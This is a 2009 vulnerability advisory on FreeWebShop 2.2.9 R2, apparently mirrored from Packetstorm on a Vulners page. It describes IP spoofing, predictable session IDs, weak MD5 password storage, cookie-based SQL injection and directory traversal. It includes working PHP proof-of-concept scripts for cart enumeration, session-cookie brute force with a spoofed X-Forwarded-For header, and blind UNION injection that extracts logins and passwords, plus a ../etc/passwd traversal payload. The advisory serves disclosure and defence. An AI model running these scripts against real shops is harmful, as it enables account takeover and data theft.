Lucene search
K

FreeWebShop 2.2.9 R2 SQL Injection / Traversal / Etc

🗓️ 30 Dec 2009 00:00:00Reported by Akita Software SecurityType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 23 Views

FreeWebShop 2.2.9 R2 SQL Injection and Traversal Vulnerabilitie

Code
`------------------------------------------------------------------------  
FreeWebshop.org: multiple vulnerabilities  
------------------------------------------------------------------------  
Yorick Koster, March 2009  
  
------------------------------------------------------------------------  
Abstract  
------------------------------------------------------------------------  
While doing a quick sweep over the code base of FreeWebshop.org (FWS)  
several vulnerabilities have been found in FWS. These vulnerabilities  
allow attackers to obtain arbitrary information from the webserver and  
database. It is even possible to execute arbitrary code with the  
privileges of FWS. In some cases it may even be possible to fully  
compromise the system on which FWS is installed. Most of these issues  
are related to the fact that FWS fully trusts the content of the cookies  
that it receives. These issues were discovered within a very small  
time frame, it is likely that more issues exist within FWS. A full  
security review of the code base is recommended to increase the security  
of FWS.  
  
------------------------------------------------------------------------  
Tested versions  
------------------------------------------------------------------------  
The issues mentioned in this document were tested on FreeWebshop.org  
2.2.9 R2.  
  
------------------------------------------------------------------------  
Fix  
------------------------------------------------------------------------  
There is currently no fix available.  
  
------------------------------------------------------------------------  
Introduction  
------------------------------------------------------------------------  
FreeWebshop.org [2] (FWS) is a free, full featured software package that  
allows you to set up your own online webshop within minutes. FWS is  
written in the popular language PHP and uses a MySQL database. It is  
designed to provide you with all the features you need from a webshop.  
  
------------------------------------------------------------------------  
Insecure installation instructions  
------------------------------------------------------------------------  
Besides changing the default password for the admin user and removing  
the install.php script, no specific instructions are provided to secure  
the installation of FWS. The manual assumes that FWS is installed on a  
LAMP server (Linux, Apache, MySQL & PHP). If the ZIP archive is  
extracted or the files are uploaded to the document root of the  
webserver, the new files and directories will be created based on the  
active umask. In most cases, this will give read & write access to  
the owner of the files and read access for all other users.  
  
Since FWS needs to write to certain files and directories, the  
instructions in the manual tell you to specifically set file permissions  
on a specific set of files and directories. For files, the owner, group  
and world are all given read & write permissions including the file  
settings.inc.php. For directories the execute bit is also set. The file  
settings.inc.php contains the database username and password. In case   
of a shared hosting environment, this allows for local user to obtain  
these credentials. Since local users also have write access, it is even  
possible to add or change PHP instructions to this file. Local user can  
also create new files in the directories for which the file permissions  
have been changed. Since these directories normally exist within the  
document root, it is possible to create new PHP scripts and execute  
these scripts using the webserver.  
  
If the webserver is configured insecurely (for example the PUT option  
has been enabled) or one of the applications hosted on the webserver  
contains a vulnerability, it is even possible for unauthenticated remote  
attackers to make similar changes. This can eventually lead to a  
complete compromise of the entire system.  
  
------------------------------------------------------------------------  
IP spoofing  
------------------------------------------------------------------------  
When a user logs into FWS, the user's IP address is stored in the  
database. This is done to prevent replay of (stolen) session cookies. If  
FWS is called with a session cookie from a different IP address, the  
user will not be logged into FWS. The IP address is obtained using  
GetUserIP(). This function first checks whether the HTTP request  
contains the X-Forwarded-For or Client-IP HTTP headers. These headers  
are normally set by proxy servers to expose the user's real IP  
address to the webservers. If these headers are found, FWS will uses the  
value of the header as the user's IP address. If these headers are  
not set, FWS uses the IP address of the connecting party.  
  
includes/subs.inc.php:  
  
// get user IP  
function GetUserIP() {  
if (isset($_SERVER)) { if   
(isset($_SERVER["HTTP_X_FORWARDED_FOR"]))   
{ $ip = $_SERVER["HTTP_X_FORWARDED_FOR"]; }   
elseif(isset($_SERVER["HTTP_CLIENT_IP"]))   
{ $ip = $_SERVER["HTTP_CLIENT_IP"]; }   
else { $ip = $_SERVER["REMOTE_ADDR"]; }  
}   
else { if ( getenv( 'HTTP_X_FORWARDED_FOR' ) )   
{ $ip = getenv( 'HTTP_X_FORWARDED_FOR' ); }   
elseif ( getenv( 'HTTP_CLIENT_IP' ) )   
{ $ip = getenv( 'HTTP_CLIENT_IP' ); }   
else { $ip = getenv( 'REMOTE_ADDR' ); }  
}  
return $ip;   
}  
  
This logic is flawed as it assumes that only proxy servers set these  
HTTP headers. The fact is that the client is under complete control of  
the attacker, which allows the attacker to set any arbitrary HTTP header  
including the X-Forwarded-For and Client-IP headers. Consequently, it  
is possible for attackers to spoof any IP address (through GetUserIP())  
using either one of these headers.  
  
------------------------------------------------------------------------  
Unsafe session handling  
------------------------------------------------------------------------  
FWS uses its own session handler instead of the default one provided  
with PHP. There are many pitfalls when dealing with sessions. It is  
generally not advised to create your own session handler. Common errors  
made when doing so are the creation of predictable session identifiers  
or the possibility of replay of session information.  
  
The session handlers uses two different cookies, one for logged in users  
named fws_cust and one for guest users that is named fws_guest. FWS  
will first check if the fws_cust cookie has been set by the browser. If  
this is the case, it will split the cookie value on the dash character  
(-) and it sets the name, customerid and md5pass parameters.  
  
includes/readcookie.inc.php:  
  
// open the cookie and read the fortune ;-)  
if (isset($_COOKIE['fws_cust'])) {   
$fws_cust = explode("-", $_COOKIE['fws_cust']);  
$name = $fws_cust[0];  
$customerid = $fws_cust[1];  
$md5pass = $fws_cust[2];  
}  
  
If the fws_cust cookie has not been set, FWS will check if the fws_guest  
is set. If not, FWS creates a new session identifier that is stored   
within an new fws_guest cookie. This cookies is valid for one hour. Its  
value is stored within the parameter customerid. If the fws_guest cookie  
is set, FWS will just store its value in customerid.  
  
includes/readcookie.inc.php:  
  
// you're not logged in, so you're a guest. let's see if you already  
have a session id  
if (!isset($_COOKIE['fws_guest'])) {   
$fws_guest = create_sessionid(8); // create a sessionid of 8 numbers,  
assuming a shop will never get 10.000.000 customers it's always a non  
existing customer id  
setcookie ("fws_guest", $fws_guest, time()+3600);  
$customerid = $fws_guest;  
}  
else {  
$customerid = $_COOKIE['fws_guest'];  
}  
  
The parameter customerid is used in various places. Its main purpose is  
to maintain the state of the shopping cart. If it is possible to predict  
this value, it is possible to view and modify another user's cart.  
For guest users, the value is generated using the create_sessionid()  
function. This function generates session identifiers based on the  
current time and the function mt_rand(). The last function creates  
random values using the Mersenne Twister algorithm. FWS seeds mt_rand()  
every time create_sessionid() is called. mt_rand() will produce the same  
set of random values if the same seed is provided. Since the attacker  
knows the current time, it will be possible to generate the exact same  
session identifiers. Consequently, an attacker will be able to calculate  
valid session identifiers, which allows the attacker to manipulate  
another user's cart.  
  
includes/readcookie.inc.php:  
  
function create_sessionid($length)  
{  
if($length>0)   
{   
$rand_id="";  
for($i=1; $i<=$length; $i++)  
{  
mt_srand((double)microtime() * 1000000);  
$num = mt_rand(27,36);  
$rand_id .= assign_rand_value($num);  
}  
}  
return $rand_id;  
}  
  
The value stored in customerid actually represent a primary key within  
the MySQL database. No validation is done to check if it contains a  
valid session identifier. Because of this, it is possible to set the  
fws_guest to any arbitrary value. This allows for enumeration of valid  
customer identifiers. It also allows attackers to modify carts of logged  
on users or saved cards of previously logged on users. This is  
demonstrated in the following PHP script (Dutch):  
  
<?php  
$url = "http://127.0.0.1/index.php?page=cart&action=show";  
$max = 1000;  
  
for($customerid = 1; $customerid <= $max; $customerid++)  
{  
echo "<h3>Customerid: " . $customerid .   
"</h3>\n";  
$ch = curl_init($url);  
curl_setopt($ch, CURLOPT_HEADER, FALSE);  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);  
curl_setopt($ch, CURLOPT_COOKIE, "fws_guest=" . $customerid);  
$result = curl_exec($ch);  
curl_close($ch);  
$result = str_replace("\n", "", $result);  
preg_match("/(Wat zit er in uw winkelwagen.*)<\/table>/", $result,  
$matches);  
echo strip_tags($matches[1]);  
}  
?>  
  
If a user successfully logs in, the fws_guest cookie is replaced with a  
fws_cust cookie. The content of the shopping cart is transfered to the  
one corresponding with the user's customerid. The cookie value  
contains the username, customer identifier and the password that has  
been hashed with the MD5 algorithm (twice). As long as the user does not  
change his/her password, the value of this cookie will remain the same.  
This cookie is used to check if a user is logged on or not. If an  
attacker can steal this cookie value, it will be possible to use this  
cookie to logon as this user until the password changes. There is one  
limitation, the attacker will have to spoof the user's IP address  
as this value is stored in the database and compared by FWS. The  
spoofing flaw described above can be used to circumvent this measure.  
  
------------------------------------------------------------------------  
Insufficient protection of passwords  
------------------------------------------------------------------------  
An MD5 hash value of the passwords of the users of FWS is stored in the  
database. FWS use these values to validated passwords entered by users.   
MD5 is one way, the original value can't be easily obtained from  
the result of an MD5 hash. Since only the hash value is stored, it is  
possible to find users with the same hash value and thus with the same  
password. It is even possible to quickly obtain passwords by looking  
them up in so-called rainbow tables. If users do not pick strong  
passwords, this attack is quite trivial. In addition, a malicious  
administrator or attacker can even try to brute force the password using  
a dictionary or by trying all combinations. FWS takes no measures to  
prevent these attacks.  
  
------------------------------------------------------------------------  
Insufficient protection against brute force attacks  
------------------------------------------------------------------------  
The login page of FWS is not protected against brute force attacks in  
which an attacker tries to log on with various username and password  
combinations. These attacks are not detected by FWS and FWS does not  
implement measures to thwart these kind of attacks for example by using  
timeouts and/or locking. In addition, due to the way session handling is  
implemented, it is even possible to execute brute force attacks on the  
session cookies. In this case, it is not required to know the correct  
username(s).  
  
First lets look at the LoggedIn() function that checks if the user is  
logged on using the fws_cust cookie.  
  
// is the visitor logged in?   
Function LoggedIn() {  
Global $dbtablesprefix;  
if (!isset($_COOKIE['fws_cust'])) { return false; }  
$fws_cust = explode("-", $_COOKIE['fws_cust']);  
$customerid = $fws_cust[1];  
$md5pass = $fws_cust[2];  
if (is_null($customerid)) { return false; }  
$f_query = "SELECT * FROM ".$dbtablesprefix."customer WHERE ID = " .  
$customerid;  
$f_sql = mysql_query($f_query) or die(mysql_error());  
while ($f_row = mysql_fetch_row($f_sql)) {  
if (md5($f_row[2]) == $md5pass)   
{   
if ($f_row[6] == GetUserIP()) {  
return true; }   
else {   
return false; }  
} else   
{   
return false;   
}  
}  
return false;  
}  
  
This function extracts the customer identifier from the cookie, which is  
used in an SQL query. It than retrieves the MD5 value of the password  
from the result set, uses it to calculate a new MD5 value and than  
compares it with the derived password value from the cookie. If these  
values matches, the IP address is checked. If everything is correct, the  
function returns true indicating that the user is logged on. An  
attacker can enumerate through a set of predefined customer identifiers  
starting with one and check whether it is possible to login using common  
password or the attacker can try all password combinations. Example  
(Dutch):  
  
<?php  
$url = "http://127.0.0.1/index.php?page=main";  
$max = 1000;  
$passwords = array("admin_1234", "admin", "password");  
$ipspoof = "127.0.0.1";  
  
for($customerid = 1; $customerid <= $max; $customerid++)  
{  
foreach($passwords as $password)  
{  
$cookie = "fws_cust=foobar-" . $customerid . "-" . md5(md5($password));  
$ch = curl_init($url);  
curl_setopt($ch, CURLOPT_HEADER, FALSE);  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);  
curl_setopt($ch, CURLOPT_COOKIE, $cookie);  
curl_setopt($ch, CURLOPT_HTTPHEADER, array("X-Forwarded-For: " .  
$ipspoof . "\n"));  
$result = curl_exec($ch);  
curl_close($ch);  
if(preg_match("/Persoonlijke pagina/", $result))  
{  
echo "Found password: " . $password . " for customerid: " .  
$customerid . "<br>\n";  
echo "Cookie: " . $cookie . "<br>\n";  
}  
}  
}  
?>  
  
The only limitation here is the IP check that is performed, which  
requires the attacker to correctly spoof an IP address.  
  
------------------------------------------------------------------------  
SQL injection  
------------------------------------------------------------------------  
When FWS reads the session cookies, no validation is performed on the  
value of these cookies. However these cookie values are used in various  
parts of FWS. In a lot of places, the values are used insecurely within  
SQL statements. This allows attackers to alter SQL statements, resulting  
in the execution of arbitrary SQL statements with the same privileges  
as the database user that is used to connect to the database. An example  
of this issue can be found within the function LoggedIn().  
  
includes/sub.inc.php:  
  
// is the visitor logged in?   
Function LoggedIn() {  
Global $dbtablesprefix;  
if (!isset($_COOKIE['fws_cust'])) { return false; }  
$fws_cust = explode("-", $_COOKIE['fws_cust']);  
$customerid = $fws_cust[1];  
$md5pass = $fws_cust[2];  
if (is_null($customerid)) { return false; }  
$f_query = "SELECT * FROM ".$dbtablesprefix."customer WHERE ID = " .  
$customerid;  
$f_sql = mysql_query($f_query) or die(mysql_error());  
while ($f_row = mysql_fetch_row($f_sql)) {  
if (md5($f_row[2]) == $md5pass)   
{   
if ($f_row[6] == GetUserIP()) {  
return true; }   
else {   
return false; }  
} else   
{   
return false;   
}  
}  
return false;  
}  
  
This issue can be exploited through a specially crafted fws_cust cookie.  
For example it should be possible to trick FWS into thinking the user  
is logged on. However, when the default template is used, FWS will  
produce an error when an attacker tries to do so. It appears that other  
queries are executed before this query is executed. If one of these  
queries fails, FWS will call the die() function. This will stop the  
execution of the PHP script, consequently the vulnerable function  
LoggedIn() will not be called. Other functions are affected as well, so  
the first vulnerable function that is called can be exploited by  
attackers. In case of FWS this is (normally) the function CountCart().  
  
includes/sub.inc.php:  
  
// how many items in the cart?  
Function CountCart($customerid) {  
Global $dbtablesprefix;  
$num_prod=0;  
$query = "SELECT * FROM `".$dbtablesprefix."basket` WHERE  
(CUSTOMERID=".$customerid." AND ORDERID=0)";  
$sql = mysql_query($query) or die(mysql_error());  
while ($row = mysql_fetch_row($sql)) {  
$num_prod = $num_prod + $row[6];   
}   
return $num_prod;  
}  
  
An attacker can exploit this issue to, for example, extract arbitrary  
data from the database. In the code above it can be seen that only the  
7th field of the result set is used as (an integer) return value, which  
is later used in the output. This makes it harder to exploit this  
issue. By setting the customer identifier, through a specially crafted  
cookie, to the value 0) UNION SELECT  
1,2,3,4,5,6,ASCII(SUBSTRING(LOGINNAME,1,1)),8 FROM customer WHERE ID=1/*  
it is possible to read the first character of the login name of the  
user with a customer identifier of 1. Using a serie of request using  
different cookie values, it is possible to read arbitrary data from the  
database. This is demonstrated in the following PHP example (Dutch):  
  
<?php  
$url = "http://127.0.0.1/index.php?page=main";  
$tablename = "fws_customer";  
$fieldnames = array("LOGINNAME", "PASSWORD", "IP");  
$userid = 1;  
$loginname = "";  
$password = "";  
$ip = "";  
  
foreach($fieldnames as $fieldname)  
{  
$index = 1;  
echo $fieldname . ": ";  
while(TRUE)  
{  
$ch = curl_init($url);  
curl_setopt($ch, CURLOPT_HEADER, FALSE);  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);  
curl_setopt($ch, CURLOPT_COOKIE,   
"fws_cust=fubar-0)+UNION+SELECT+1%2C2%2C3%2C4%2C5%2C6%  
2CASCII(SUBSTRING(" .   
$fieldname . "%2C" . $index . "%2C1))%2C8+FROM+" . $tablename .   
"+WHERE+ID%3D" . $userid . "%2F*-md5");  
$result = curl_exec($ch);  
curl_close($ch);  
preg_match("/Winkelwagen \((\d+)\)/", $result, $matches);  
if(intval($matches[1]) == 0)  
{  
break;  
}  
switch($fieldname)  
{  
case "LOGINNAME":  
$loginname .= chr($matches[1]);  
break;  
case "PASSWORD":  
$password .= chr($matches[1]);  
break;  
case "IP":  
$ip .= chr($matches[1]);  
break;  
}  
echo chr($matches[1]);  
$index++;  
}  
echo "<br>\n";  
}  
  
echo "<br>\n";  
echo "Login cookie: fws_cust=" . urlencode($loginname) .   
"-" . urlencode($userid) . "-" .   
urlencode(md5($password));  
echo "<br>\n";  
echo "IP spoof: X-Forwarded-For: " .urlencode($ip);  
?>  
  
------------------------------------------------------------------------  
Directory traversal  
------------------------------------------------------------------------  
FWS uses a template mechanism for its look and feel and also supports  
multiple languages. FWS ships with Dutch and English language files. The  
file main.txt for each language is actually a PHP script that is  
included within the web pages. If the user chooses a different language,  
a cookie containing this language is send to the users browser. This  
cookie is later used to find the correct language files. No validation  
is performed on the content of this cookie. This allows attackers to  
execute a directory traversal attack and included arbitrary local files,  
allowing the disclosure of arbitrary file content or in some cases even  
arbitrary code execution if the attacker can manipulate the content of  
the included language file. This vulnerability exists in the following  
code:  
  
includes/initlang.inc.php:  
  
<?php  
// get language from cookie  
if (isset($_COOKIE['cookie_lang'])) { $lang =  
$_COOKIE['cookie_lang']; }  
// if the lang.txt file from the cookie doesnt exist (anymore), then  
switch to the default language  
if (!isset($lang)) { $lang = $default_lang; }   
if (!file_exists($lang_dir."/".$lang."/lang.txt"))  
{ $lang = $default_lang;}  
$lang_file = $lang_dir."/".$lang."/lang.txt";  
$main_file = $lang_dir."/".$lang."/main.txt";  
?>  
  
Setting the cookie cookie_lang to the following value will display the  
contents of the /etc/passwd file:  
  
../../../../../../../etc/passwd%00  
  
It should be noted that this attack uses a NULL byte (%00). Because of  
this, this attack only works on PHP installations that have disabled  
'magic quotes'.  
  
------------------------------------------------------------------------  
References  
------------------------------------------------------------------------  
[1] http://www.akitasecurity.nl/advisory.php?id=AK20090301  
[2] http://freewebshop.org/  
------------------------------------------------------------------------  
  
--   
------------------------------------------------------------------------  
Akita Software Security (Kvk 37144957)  
http://www.akitasecurity.nl/  
------------------------------------------------------------------------  
Key fingerprint = 5FC0 F50C 8B3A 4A61 7A1F 2BFF 5482 D26E D890 5A65  
http://keyserver.pgp.com/vkd/DownloadKey.event?keyid=0x5482D26ED8905A65  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation